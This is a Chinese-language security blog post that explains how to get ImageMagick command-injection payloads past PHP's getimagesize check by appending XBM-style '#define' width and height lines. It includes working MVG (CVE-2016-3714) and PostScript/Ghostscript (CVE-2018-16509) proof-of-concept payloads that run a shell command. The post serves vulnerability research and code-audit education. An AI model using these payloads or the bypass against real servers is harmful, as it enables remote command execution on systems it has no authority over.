作者:Phith0n@長亭科技
來源:https://www.leavesongs.com/PENETRATION/when-imagemagick-meet-getimagesize.html?from=timeline&isappinstalled=0
前段時間寫的文章,在微博上說HW結束分享一下,總算可以發了。感謝 @voidfyoo 提出的這個問題。
今天遇到一個代碼,大致如下:
<?php
$filename = $_FILES['image']['tmp_name'];
$size = getimagesize($filename);
if ($size && $size[0] > 100 && $size[1] > 100) {
$img = new Imagick($_FILES['image']['tmp_name']);
$img->cropThumbnailImage(100, 100);
$img->writeImage('newimage.gif');
}
用戶上傳的文件如果大于100px,則用Imagick處理成100x100的縮略圖,再存儲在硬盤上。
通過這個代碼,我們很容易想到用Imagemagick的漏洞進行測試,但這里前面對圖片大小用getimagesize進行了限制,之前爆出來的那些POC均無法通過校驗,因為getimagesize并不支持類似PostScript、MVG這樣的圖片格式。
這時候我們怎么繞過這個限制呢?
0x01 Imagemagick命令執行不完全回顧
Imagemagick歷史上曾出現過的很多命令執行漏洞,我在vulhub里做過以下三個:
- CVE-2016-3714
- CVE-2018-16509
- CVE-2019-6116
第一個是Imagemagick在處理mvg格式圖片時導致的命令注入,后兩個都是在處理PostScript文件時因為使用了GhostScript,而GhostScript中存在的命令注入。
Imagemagick是一個大而全的圖片處理庫,他能處理日常生活中見到的絕大多數圖片格式,比如jpg、gif、png等,當然也包括日常生活中很少見到的圖片格式,比如前面說的mvg和ps。
這三個漏洞的具體原理網上很多文章也分析過,我這里就不再分析了,但我們思考一下:一個文件交給Imagemagick處理,他是怎么知道這是哪種格式的圖片,并如何處理呢?
顯然需要一個方法來區分文件類型,而單純用文件名后綴來判斷是不合理的(文件后綴并不是構成文件名的必要元素),常規的做法就是通過文件頭來判斷。
隨便翻一下Imagemagick的代碼,我就發現大多數文件格式的處理中,通常有一個函數,用來判斷這個文件是否是對應的格式。
比如:
// coders/ps.c
static MagickBooleanType IsPS(const unsigned char *magick,const size_t length)
{
if (length < 4)
return(MagickFalse);
if (memcmp(magick,"%!",2) == 0)
return(MagickTrue);
if (memcmp(magick,"\004%!",3) == 0)
return(MagickTrue);
return(MagickFalse);
}
// coders/mvg.c
static MagickBooleanType IsMVG(const unsigned char *magick,const size_t length)
{
if (length < 20)
return(MagickFalse);
if (LocaleNCompare((const char *) magick,"push graphic-context",20) == 0)
return(MagickTrue);
return(MagickFalse);
}
這兩個函數就是判斷文件是否是postscript和mvg格式。很顯然,他這里是通過文件頭來判斷,也就是說,如果想讓Imagemagick用ps的處理方法來處理圖片,這個圖片的前幾個字節必須是%!或\004%!。
這也很好理解,文件頭的意義就是標示這個文件是什么類型的文件。
所以,如果我們想利用Imagemagick的命令執行漏洞,必須要給他傳入一個合法的mvg或ps文件,或者至少文件頭要滿足要求。
0x02 深入getimagesize
通過翻閱PHP文檔,可知getimagesize支持的圖片類型有 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM,WBMP:
那么這時候就犯難了,ps和mvg并不在其中。如果我們傳入一個ps文件,getimagesize處理時就會失敗并返回false,那么就不會執行到Imagick那里。這種方法也是當初ImageTragick漏洞出現時,很多文章推薦的緩解措施。
似乎很安全,不過我們應該深入研究一下getimagesize究竟是如何處理圖片的。
下載php源碼,ext/standard/image.c這個文件是關鍵,看到如下函數:
static void php_getimagesize_from_stream(php_stream *stream, zval *info, INTERNAL_FUNCTION_PARAMETERS) /* {{{ */
{
int itype = 0;
struct gfxinfo *result = NULL;
if (!stream) {
RETURN_FALSE;
}
itype = php_getimagetype(stream, NULL);
switch( itype) {
case IMAGE_FILETYPE_GIF:
result = php_handle_gif(stream);
break;
case IMAGE_FILETYPE_JPEG:
//...
case ...
可見,這里邏輯是首先用php_getimagetype(stream, NULL)來獲取圖片格式,然后進入一個switch語句,根據格式來分配具體的處理方法。
看看PHP是如何獲取圖片格式的:
PHPAPI int php_getimagetype(php_stream * stream, char *filetype)
{
char tmp[12];
int twelve_bytes_read;
if ( !filetype) filetype = tmp;
if((php_stream_read(stream, filetype, 3)) != 3) {
php_error_docref(NULL, E_NOTICE, "Read error!");
return IMAGE_FILETYPE_UNKNOWN;
}
/* BYTES READ: 3 */
if (!memcmp(filetype, php_sig_gif, 3)) {
return IMAGE_FILETYPE_GIF;
} else if (!memcmp(filetype, php_sig_jpg, 3)) {
return IMAGE_FILETYPE_JPEG;
} else if (!memcmp(filetype, php_sig_png, 3)) {
if (php_stream_read(stream, filetype+3, 5) != 5) {
php_error_docref(NULL, E_NOTICE, "Read error!");
return IMAGE_FILETYPE_UNKNOWN;
}
if (!memcmp(filetype, php_sig_png, 8)) {
return IMAGE_FILETYPE_PNG;
} else {
php_error_docref(NULL, E_WARNING, "PNG file corrupted by ASCII conversion");
return IMAGE_FILETYPE_UNKNOWN;
}
} else if (!memcmp(filetype, php_sig_swf, 3)) {
return IMAGE_FILETYPE_SWF;
} else if (!memcmp(filetype, php_sig_swc, 3)) {
return IMAGE_FILETYPE_SWC;
} else if (!memcmp(filetype, php_sig_psd, 3)) {
return IMAGE_FILETYPE_PSD;
} else if (!memcmp(filetype, php_sig_bmp, 2)) {
return IMAGE_FILETYPE_BMP;
} else if (!memcmp(filetype, php_sig_jpc, 3)) {
return IMAGE_FILETYPE_JPC;
} else if (!memcmp(filetype, php_sig_riff, 3)) {
if (php_stream_read(stream, filetype+3, 9) != 9) {
php_error_docref(NULL, E_NOTICE, "Read error!");
return IMAGE_FILETYPE_UNKNOWN;
}
if (!memcmp(filetype+8, php_sig_webp, 4)) {
return IMAGE_FILETYPE_WEBP;
} else {
return IMAGE_FILETYPE_UNKNOWN;
}
}
if (php_stream_read(stream, filetype+3, 1) != 1) {
php_error_docref(NULL, E_NOTICE, "Read error!");
return IMAGE_FILETYPE_UNKNOWN;
}
/* BYTES READ: 4 */
if (!memcmp(filetype, php_sig_tif_ii, 4)) {
return IMAGE_FILETYPE_TIFF_II;
} else if (!memcmp(filetype, php_sig_tif_mm, 4)) {
return IMAGE_FILETYPE_TIFF_MM;
} else if (!memcmp(filetype, php_sig_iff, 4)) {
return IMAGE_FILETYPE_IFF;
} else if (!memcmp(filetype, php_sig_ico, 4)) {
return IMAGE_FILETYPE_ICO;
}
/* WBMP may be smaller than 12 bytes, so delay error */
twelve_bytes_read = (php_stream_read(stream, filetype+4, 8) == 8);
/* BYTES READ: 12 */
if (twelve_bytes_read && !memcmp(filetype, php_sig_jp2, 12)) {
return IMAGE_FILETYPE_JP2;
}
/* AFTER ALL ABOVE FAILED */
if (php_get_wbmp(stream, NULL, 1)) {
return IMAGE_FILETYPE_WBMP;
}
if (!twelve_bytes_read) {
php_error_docref(NULL, E_NOTICE, "Read error!");
return IMAGE_FILETYPE_UNKNOWN;
}
if (php_get_xbm(stream, NULL)) {
return IMAGE_FILETYPE_XBM;
}
return IMAGE_FILETYPE_UNKNOWN;
}
這個函數很長,首先從流里讀了3個字節,進行了一批判斷(用memcmp對比),其實也就是對比圖片頭;如果沒找到,則再讀取一個字節,對比4個字節長度的圖片頭;如果還沒找到,再讀取8個字節,看圖片是否是jp2格式;如果還不是,則用php_get_wbmp與php_get_xbm兩個函數判斷圖片是否是wbmp與xbm格式。
前面比較文件頭的部分,已經和Imagemagick漏洞利用條件沖突了,畢竟一個文件不可能既是ps文件頭,又是gif文件頭,那么只能寄希望于php_get_wbmp與php_get_xbm兩個函數。
php_get_wbmp是沒戲的,因為他要求第一個字節必須是\x00:
static int php_get_wbmp(php_stream *stream, struct gfxinfo **result, int check)
{
int i, width = 0, height = 0;
if (php_stream_rewind(stream)) {
return 0;
}
/* get type */
if (php_stream_getc(stream) != 0) {
return 0;
}
那么看一下php_get_xbm:
static int php_get_xbm(php_stream *stream, struct gfxinfo **result)
{
char *fline;
char *iname;
char *type;
int value;
unsigned int width = 0, height = 0;
if (result) {
*result = NULL;
}
if (php_stream_rewind(stream)) {
return 0;
}
while ((fline=php_stream_gets(stream, NULL, 0)) != NULL) {
iname = estrdup(fline); /* simple way to get necessary buffer of required size */
if (sscanf(fline, "#define %s %d", iname, &value) == 2) {
if (!(type = strrchr(iname, '_'))) {
type = iname;
} else {
type++;
}
if (!strcmp("width", type)) {
width = (unsigned int) value;
if (height) {
efree(iname);
break;
}
}
if (!strcmp("height", type)) {
height = (unsigned int) value;
if (width) {
efree(iname);
break;
}
}
}
efree(fline);
efree(iname);
}
if (fline) {
efree(fline);
}
if (width && height) {
if (result) {
*result = (struct gfxinfo *) ecalloc(1, sizeof(struct gfxinfo));
(*result)->width = width;
(*result)->height = height;
}
return IMAGE_FILETYPE_XBM;
}
return 0;
}
這函數主要是一個大while循環,遍歷了文件的每一行。從這里也能看出,xbm圖片是一個文本格式的文件,而不像其他圖片一樣是二進制文件。
如果某一行格式滿足#define %s %d,那么取出其中的字符串和數字,再從字符串中取出width或height,將數字作為圖片的長和寬。
邏輯很簡單呀,文本格式,而且沒有限制文件頭,只要有某兩行可以控制即可。這和我們Imagemagick的POC差別并不大,顯然是可以兼容的。
0x03 編寫同時符合getimagesize與Imagemagick的POC
理論基礎結束,我們來編寫一下POC吧。
首先拿出原mvg格式的POC:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
pop graphic-context
我們只需要在后面增加上#define %s %d即可:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.0/oops.jpg"|"`id`)'
pop graphic-context
#define xlogo_width 200
#define xlogo_height 200
getimagesize成功獲取其大小:
用存在漏洞的imagemagick進行測試,命令成功執行:
ps也一樣,我們借助CVE-2018-16509的POC進行構造:
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
/test {
#define xlogo64_width 64
#define xlogo64_height 64
}
用getimagesize成功獲取圖片大小:
用存在漏洞的imagemagick+GhostScript進行測試,命令成功執行:
0x04 后記
本來想寫一下Discuz下的利用的,但是鑒于某條例的規定,漏洞分析不能亂發,再加我粗略找到的利用鏈本身也不太完整,有一些條件限制,并不是特別好,所以就不獻丑了。
事實上這個技巧在剛過去的實戰中有用到,并不局限于Discuz或某個CMS。因為imagemagick和ghostscript的漏洞層出不窮,也在側面輔助了黑盒滲透與PHP代碼審計,待下一次0day爆發,也可以利用這個技巧進行盲測。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/969/





暫無評論